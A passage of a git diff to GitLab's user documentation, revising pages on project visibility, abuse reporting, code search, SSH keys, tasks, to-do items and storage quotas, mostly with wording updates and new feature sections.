listed in the public access directory (`/public`), but only for authenticated users. +- Clone the project. +- View the public access directory (`/public`). -Internal groups can have internal or private subgroups. +[External users](admin_area/external_users.md) cannot clone the project. -Any signed-in users except [external users](admin_area/external_users.md) have the -Guest role on the repository. +Internal groups can have internal or private subgroups. NOTE: From July 2019, the `Internal` visibility setting is disabled for new projects, groups, and snippets on GitLab.com. Existing projects, groups, and snippets using the `Internal` -visibility setting keep this setting. You can read more about the change in the -[relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/12388). +visibility setting keep this setting. For more information, see +[issue 12388](https://gitlab.com/gitlab-org/gitlab/-/issues/12388). -## Private projects and groups +## Public projects and groups -Private projects can only be cloned and viewed by project members (except for guests). +For public projects, **users who are not authenticated**, including users with the Guest role, can: -They appear in the public access directory (`/public`) for project members only. +- Clone the project. +- View the public access directory (`/public`). -Private groups can only have private subgroups. +Public groups can have public, internal, or private subgroups. + +NOTE: +If an administrator restricts the +[**Public** visibility level](admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels), +then `/public` is visible only to authenticated users. ## Change project visibility @@ -77,6 +63,8 @@ Prerequisite: 1. On the left sidebar, select **Settings > General**. 1. Expand **Visibility, project features, permissions**. 1. Change **Project visibility** to either **Private**, **Internal**, or **Public**. + The visibility setting for a project must be at least as restrictive + as the visibility of its parent group. 1. Select **Save changes**. ## Change group visibility @@ -94,15 +82,21 @@ Prerequisites: 1. On the left sidebar, select **Settings > General**. 1. Expand **Naming, visibility**. 1. Under **Visibility level** select either **Private**, **Internal**, or **Public**. + The visibility setting for a project must be at least as restrictive + as the visibility of its parent group. 1. Select **Save changes**. ## Restrict use of public or internal projects **(FREE SELF)** -You can restrict the use of visibility levels for users when they create a project or a snippet. -This is useful to prevent users from publicly exposing their repositories by accident. The -restricted visibility settings do not apply to administrators. +Administrators can restrict which visibility levels users can choose when they create a project or a snippet. +This setting can help prevent users from publicly exposing their repositories by accident. + +For more information, see [Restrict visibility levels](admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels). + +## Related topics -For details, see [Restricted visibility levels](admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels). +- For more granular control of project features, you can + [change the visibility of features](project/working_with_projects.md#change-the-visibility-of-individual-features-in-a-project). <!-- ## Troubleshooting diff --git a/doc/user/read_only_namespaces.md b/doc/user/read_only_namespaces.md index 345a3a87189..63d7f18f70c 100644 --- a/doc/user/read_only_namespaces.md +++ b/doc/user/read_only_namespaces.md @@ -19,7 +19,7 @@ information, see [Restricted actions](#restricted-actions). ## Remove the read-only state -To restore a namespace to its normal state, you can: +To restore a namespace to its standard state, you can: - For exceeded free user limits: - [Reduce the number of members](free_user_limit.md#manage-members-in-your-namespace) in your namespace. diff --git a/doc/user/report_abuse.md b/doc/user/report_abuse.md index fde839c3ba4..aabc9c5dff1 100644 --- a/doc/user/report_abuse.md +++ b/doc/user/report_abuse.md @@ -27,7 +27,8 @@ You can report a user through their: To report abuse from a user's profile page: 1. Anywhere in GitLab, select the name of the user. -1. In the top right corner of the user's profile, select **Report abuse to administrator** (**{information-o}**). +1. In the upper-right corner of the user's profile, select **Report abuse to administrator** (**{information-o}**). +1. Select a reason for reporting the user. 1. Complete an abuse report. 1. Select **Send report**. @@ -35,8 +36,9 @@ To report abuse from a user's profile page: To report abuse from a user's comment: -1. In the comment, in the top right corner, select **More actions** (**{ellipsis_v}**). +1. In the comment, in the upper-right corner, select **More actions** (**{ellipsis_v}**). 1. Select **Report abuse to administrator**. +1. Select a reason for reporting the user. 1. Complete an abuse report. 1. Select **Send report**. @@ -46,16 +48,18 @@ A URL to the reported user's comment is pre-filled in the abuse report's ## Report abuse from an issue -1. On the issue, in the top right corner, select the vertical ellipsis (**{ellipsis_v}**). +1. On the issue, in the upper-right corner, select the vertical ellipsis (**{ellipsis_v}**). 1. Select **Report abuse to administrator**. -1. Submit an abuse report. +1. Select a reason for reporting the user. +1. Complete an abuse report. 1. Select **Send report**. ## Report abuse from a merge request -1. On the merge request, in the top right corner, select the vertical ellipsis (**{ellipsis_v}**). +1. On the merge request, in the upper-right corner, select the vertical ellipsis (**{ellipsis_v}**). 1. Select **Report abuse to administrator**. -1. Submit an abuse report. +1. Select a reason for reporting this user. +1. Complete an abuse report. 1. Select **Send report**. ## Related topics diff --git a/doc/user/search/exact_code_search.md b/doc/user/search/exact_code_search.md new file mode 100644 index 00000000000..14dca6d4a12 --- /dev/null +++ b/doc/user/search/exact_code_search.md @@ -0,0 +1,28 @@ +--- +stage: Data Stores +group: Global Search +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" +type: reference +--- + +# Exact Code Search **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105049) in GitLab 15.9 [with a flag](../../administration/feature_flags.md) named `index_code_with_zoekt` and `search_code_with_zoekt` which enables indexing and searching respectively. Both are disabled by default. + +WARNING: +Exact Code Search is an MVC. For the Exact Code Search feature roadmap, see [epic 9404](https://gitlab.com/groups/gitlab-org/-/epics/9404). +When this feature reaches the [**Alpha**](../../policy/alpha-beta-support.md#alpha-features) version, GitLab will dogfood it, and roll it out only to specific customers on GitLab.com who request access to it. +On self-managed GitLab, this feature is available and can be enabled. However, GitLab does not provide support or documentation at this development stage. + +## Usage + +When performing any Code search in GitLab it will choose to use "Exact Code +Search" powered by [Zoekt](https://github.com/sourcegraph/zoekt) if the project +is part of an enabled Group. + +The main differences between Zoekt and [Advanced Search](advanced_search.md) +are that Zoekt provides exact substring matching as well as allows you to +search for regular expressions. Since it allows searching for regular +expressions, certain special characters will require escaping. Backslash can +escape special characters and wrapping in double quotes can be used for phrase +searches. diff --git a/doc/user/search/index.md b/doc/user/search/index.md index 9536f7fe40a..dc07b4c9215 100644 --- a/doc/user/search/index.md +++ b/doc/user/search/index.md @@ -50,7 +50,7 @@ Global search only flags with an error any search that includes more than: ## Perform a search -To start a search, type your search query in the search bar on the top-right of the screen. +To start a search, type your search query in the search bar in the upper right of the screen. You must type at least two characters.  @@ -84,6 +84,23 @@ where the results were found.  +## Search for projects by full path + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108906) in GitLab 15.9 [with a flag](../../administration/feature_flags.md) named `full_path_project_search`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. +To make it available, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `full_path_project_search`. +On GitLab.com, this feature is not available. + +You can search for a project by entering its full path (including the namespace it belongs to) in the search box. +As you type the project path, [autocomplete suggestions](#autocomplete-suggestions) are displayed. + +For example, the search query: + +- `gitlab-org/gitlab` searches for the `gitlab` project in the `gitlab-org` namespace. +- `gitlab-org/` displays autocomplete suggestions for projects that belong to the `gitlab-org` namespace. + ## Search for a SHA You can search for a commit SHA. @@ -113,7 +130,7 @@ You can filter issues and merge requests by specific terms included in titles or issues for `included in titles` is same as `included titles` - Search is limited to 4096 characters and 64 terms per query. - When searching issues, partial matches are not allowed. For example: searching for `play` will - not return issues that have the word `display`. But variations of words will still match, so searching + not return issues that have the word `display`. But variations of words match, so searching for `displays` also returns issues that have the word `display`. ## Retrieve search results as feed @@ -149,7 +166,7 @@ To delete filter tokens one at a time, the <kbd>⌥</kbd> (Mac) / <kbd>Control</ In the search bar, you can view autocomplete suggestions for: -- Projects and groups +- [Projects](#search-for-projects-by-full-path) and groups - Users - Various help pages (try and type **API help**) - Project feature pages (try and type **milestones**) diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md index 64f9b53f891..d67c595512a 100644 --- a/doc/user/shortcuts.md +++ b/doc/user/shortcuts.md @@ -15,7 +15,7 @@ To display a window in GitLab that lists its keyboard shortcuts, use one of the following methods: - Press <kbd>?</kbd>. -- In the Help menu in the top right of the application, select **Keyboard shortcuts**. +- In the Help menu in the upper right of the application, select **Keyboard shortcuts**. Although [global shortcuts](#global-shortcuts) work from any area of GitLab, you must be in specific pages for the other shortcuts to be available, as @@ -333,6 +333,13 @@ To disable keyboard shortcuts: press <kbd>?</kbd> to display the list of shortcuts. 1. Select **Toggle shortcuts**. +## Enable keyboard shortcuts + +To enable keyboard shortcuts: + +1. On the top bar, select the Help menu (**{question}**), then **Keyboard shortcuts**. +1. Select **Toggle shortcuts**. + ## Troubleshooting ### Linux shortcuts diff --git a/doc/user/snippets.md b/doc/user/snippets.md index 70669748cd8..0532ed27010 100644 --- a/doc/user/snippets.md +++ b/doc/user/snippets.md @@ -149,7 +149,7 @@ by a Git repository), through the [Snippets API](../api/snippets.md), and in the To add a new file to your snippet through the GitLab UI: 1. Go to your snippet in the GitLab UI. -1. Select **Edit** in the top right corner. +1. Select **Edit** in the upper-right corner. 1. Select **Add another file**. 1. Add your content to the file in the form fields provided. 1. Select **Save changes**. @@ -157,7 +157,7 @@ To add a new file to your snippet through the GitLab UI: To delete a file from your snippet through the GitLab UI: 1. Go to your snippet in the GitLab UI. -1. Select **Edit** in the top right corner. +1. Select **Edit** in the upper-right corner. 1. Select **Delete file** alongside the filename of each file you wish to delete. 1. Select **Save changes**. diff --git a/doc/user/ssh.md b/doc/user/ssh.md index b71b120d246..d44e6a0e071 100644 --- a/doc/user/ssh.md +++ b/doc/user/ssh.md @@ -13,6 +13,23 @@ GitLab uses the SSH protocol to securely communicate with Git. When you use SSH keys to authenticate to the GitLab remote server, you don't need to supply your username and password each time. +## What are SSH keys + +SSH uses two keys, a public key and a private key. + +- The public key can be distributed. +- The private key should be protected. + +When you need to copy or upload your SSH public key, make sure you do not accidentally copy or upload your private key instead. + +You cannot expose data by uploading your public key. When you need to copy or upload your SSH public key, make sure you do not accidentally copy or upload your private key instead. + +You can use your private key to [sign commits](project/repository/ssh_signed_commits/index.md), +which makes your use of GitLab and your data even more secure. +This signature then can be verified by anyone using your public key. + +For details, see [Asymmetric cryptography, also known as public-key cryptography](https://en.wikipedia.org/wiki/Public-key_cryptography). + ## Prerequisites To use SSH to communicate with GitLab, you need: @@ -262,7 +279,7 @@ You can use [1Password](https://1password.com/) and the [1Password browser exten - Use an existing SSH in your 1Password vault to authenticate with GitLab. 1. Sign in to GitLab. -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Preferences**. 1. On the left sidebar, select **SSH Keys**. 1. Select **Key**, and you should see the 1Password helper appear. @@ -274,7 +291,7 @@ You can use [1Password](https://1password.com/) and the [1Password browser exten 1. Optional. Update **Expiration date** to modify the default expiration date. 1. Select **Add key**. -To learn more about using 1Password with SSH keys, see [1Password's documentation](https://developer.1password.com/docs/ssh/get-started). +For more information about using 1Password with SSH keys, see the [1Password documentation](https://developer.1password.com/docs/ssh/get-started). ## Add an SSH key to your GitLab account @@ -307,7 +324,7 @@ To use SSH with GitLab, copy your public key to your GitLab account: Replace `id_ed25519.pub` with your filename. For example, use `id_rsa.pub` for RSA. 1. Sign in to GitLab. -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Preferences**. 1. On the left sidebar, select **SSH Keys**. 1. In the **Key** box, paste the contents of your public key. @@ -377,6 +394,24 @@ git config core.sshCommand "ssh -o IdentitiesOnly=yes -i ~/.ssh/private-key-file This command does not use the SSH Agent and requires Git 2.10 or later. For more information on `ssh` command options, see the `man` pages for both `ssh` and `ssh_config`. +## View your account's SSH keys + +1. Sign in to GitLab. +1. On the top bar, in the upper-right corner, select your avatar. +1. Select **Preferences**. +1. On the left sidebar, select **SSH Keys**. + +Your existing SSH keys are listed at the bottom of the page. The information includes: + +- The key's: + - Name. + - Public fingerprint. + - Expiry date. + - Permitted usage types. +- The time a key was last used. On GitLab.com this value is unavailable, and you are unable to see if or when an SSH key has been used. For more information, see [issue 324764](https://gitlab.com/gitlab-org/gitlab/-/issues/324764). + +Select **Delete** to permanently delete an SSH key. + ## Use different accounts on a single GitLab instance You can use multiple accounts to connect to a single instance of GitLab. You diff --git a/doc/user/tasks.md b/doc/user/tasks.md index aad53f4165c..42a3975a9d2 100644 --- a/doc/user/tasks.md +++ b/doc/user/tasks.md @@ -58,6 +58,28 @@ To create a task: 1. Enter the task title. 1. Select **Create task**. +### Create a task from a task list item + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/377307) in GitLab 15.9 [with a flag](../administration/feature_flags.md) named `work_items_mvc`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. +To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `work_items_mvc`. +On GitLab.com, this feature is not available. +The feature is not ready for production use. + +Prerequisites: + +- You must have at least the Reporter role for the project. + +In an issue description with task list items: + +1. Hover over a task list item and select the options menu (**{ellipsis_v}**). +1. Select **Convert to task**. + +The task list item is removed from the issue description and a task is created in the tasks widget from its contents. +Any nested task list items are moved up a nested level. + ## Add existing tasks to an issue > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381868) in GitLab 15.6. diff --git a/doc/user/todos.md b/doc/user/todos.md index 221e89d658c..50b60dc5b4b 100644 --- a/doc/user/todos.md +++ b/doc/user/todos.md @@ -21,7 +21,7 @@ You can use the To-Do List to track [actions](#actions-that-create-to-do-items) To access your To-Do List: -On the top bar, in the top right, select To-Do List (**{task-done}**). +On the top bar, in the upper right, select To-Do List (**{task-done}**). ## Search the To-Do List @@ -117,17 +117,28 @@ Hi, please message @frank :incoming_envelope: ## Actions that mark a to-do item as done -Any action to an issue, merge request, or epic marks its +Various actions on the to-do item object (like issue, merge request, or epic) mark its corresponding to-do item as done. -Actions that dismiss to-do items include: +To-do items are marked as done if you: -- Changing the assignee -- Changing the milestone -- Closing the issue or merge request -- Adding or removing a label -- Commenting on the issue -- Resolving a [design discussion thread](project/issues/design_management.md#resolve-a-discussion-thread-on-a-design) +- Add an award emoji to the description or comment. +- Add or remove a label. +- Change the assignee. +- Change the milestone. +- Close the to-do item's object. +- Create a comment. +- Edit the description. +- Resolve a [design discussion thread](project/issues/design_management.md#resolve-a-discussion-thread-on-a-design). +- Accept or deny a project or group membership request. + +To-do items are **not** marked as done if you: + +- Add a linked item (like a [linked issue](project/issues/related_issues.md)). +- Add a child item (like [child epic](group/epics/manage_epics.md#multi-level-child-epics) or [task](tasks.md)). +- Add a [time entry](project/time_tracking.md). +- Assign yourself. +- Change the [health status](project/issues/managing_issues.md#health-status). If someone else closes, merges, or takes action on an issue, merge request, or epic, your to-do item remains pending. @@ -147,7 +158,7 @@ There are two ways to do this: You can mark all your to-do items as done at the same time. -In the To-Do List, in the top right, select **Mark all as done**. +In the To-Do List, in the upper right, select **Mark all as done**. ## How a user's To-Do List is affected when their access changes diff --git a/doc/user/usage_quotas.md b/doc/user/usage_quotas.md index c6c27f36618..0740108a168 100644 --- a/doc/user/usage_quotas.md +++ b/doc/user/usage_quotas.md @@ -35,6 +35,13 @@ is updated every 90 minutes. If your namespace shows `'Not applicable.'`, push a commit to any project in the namespace to recalculate the storage. +### Container Registry usage **(FREE SAAS)** + +Container Registry usage is available only for GitLab.com. This feature requires a +[new version](https://about.gitlab.com/blog/2022/04/12/next-generation-container-registry/) +of the GitLab Container Registry. To learn about the proposed release for self-managed +installations, see [epic 5521](https://gitlab.com/groups/gitlab-org/-/epics/5521). + ### Storage usage statistics > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68898) project-level graph in GitLab 14.4 [with a flag](../administration/feature_flags.md) named `project_storage_ui`. Disabled by default. @@ -66,8 +73,8 @@ Depending on your role, to manage your transfer usage you can [reduce Container ## Project storage limit -Projects on GitLab SaaS have a 10GB storage limit on their Git repository and LFS storage. -After namespace-level storage limits are applied, the project limit will be removed. A namespace has either a namespace-level storage limit or a project-level storage limit, but not both. +Projects on GitLab SaaS have a 10 GB storage limit on their Git repository and LFS storage. +After namespace-level storage limits are applied, the project limit is removed. A namespace has either a namespace-level storage limit or a project-level storage limit, but not both. When a project's repository and LFS reaches the quota, the project is locked. You cannot push changes to a locked project. To monitor the size of each @@ -122,7 +129,7 @@ available decreases. All projects remain unlocked because 40 GB purchased storag ## Namespace storage limit Namespaces on GitLab SaaS have a storage limit. For more information, see our [pricing page](https://about.gitlab.com/pricing/). -This limit is not visible on the **Usage quotas** page, but will be prior to the limit being [applied](#namespace-storage-limit-application-schedule). Self-managed deployments are not affected. +This limit is not visible on the **Usage quotas** page, but is prior to the limit being [applied](#namespace-storage-limit-application-schedule). Self-managed deployments are not affected. Storage types that add to the total namespace storage are: @@ -137,15 +144,21 @@ Storage types that add to the total namespace storage are: If your total namespace storage exceeds the available namespace storage quota, all projects under the namespace become read-only. Your ability to write new data is restricted until the read-only state is removed. For more information, see [Restricted actions](../user/read_only_namespaces.md#restricted-actions). +To notify you that you have nearly exceeded your namespace storage quota: + +- In the command line interface, a notification displays after each `git push` action when you've reached 95% and 100% of your namespace storage quota. +- In the GitLab UI, a notification displays when you've reached 75%, 95%, and 100% of your namespace storage quota. +- GitLab sends an email to members with the Owner role to notify them when namespace storage usage is at 70%, 85%, 95%, and 100%. + To prevent exceeding the namespace storage quota, you can: - Reduce storage consumption by following the suggestions in the [Manage Your Storage Usage](#manage-your-storage-usage) section of this page. - Apply for [GitLab for Education](https://about.gitlab.com/solutions/education/join/), [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/join/), or [GitLab for Startups](https://about.gitlab.com/solutions/startups/) if you meet the eligibility requirements. - Consider using a [self-managed instance](../subscriptions/self_managed/index.md) of GitLab which does not have these limits on the free tier. -- [Purchase additional storage](../subscriptions/gitlab_com/index.md#purchase-more-storage-and-transfer) units at $60/year for 10GB of storage. +- [Purchase additional storage](../subscriptions/gitlab_com/index.md#purchase-more-storage-and-transfer) units at $60/year for 10 GB of storage. - [Start a trial](https://about.gitlab.com/free-trial/) or [upgrade to GitLab Premium or Ultimate](https://about.gitlab.com/pricing/) which include higher limits and features that enable growing teams to ship faster without sacrificing on quality. -- [Talk to an expert](https://page.gitlab.com/usage_limits_help.html) to learn more about your options and ask questions. +- [Talk to an expert](https://page.gitlab.com/usage_limits_help.html) for more information about your options. ### Namespace storage limit application schedule -Information on when namespace-level storage limits will be applied is available on these FAQ pages for the [Free](https://about.gitlab.com/pricing/faq-efficient-free-tier/#storage-limits-on-gitlab-saas-free-tier) and [Paid](https://about.gitlab.com/pricing/faq-paid-storage-transfer/) tier. +Information on when namespace-level storage limits are applied is available on these FAQ pages for the [Free](https://about.gitlab.com/pricing/faq-efficient-free-tier/#storage-limits-on-gitlab-saas-free-tier) and [Paid](https://about.gitlab.com/pricing/faq-paid-storage-transfer/) tier. |
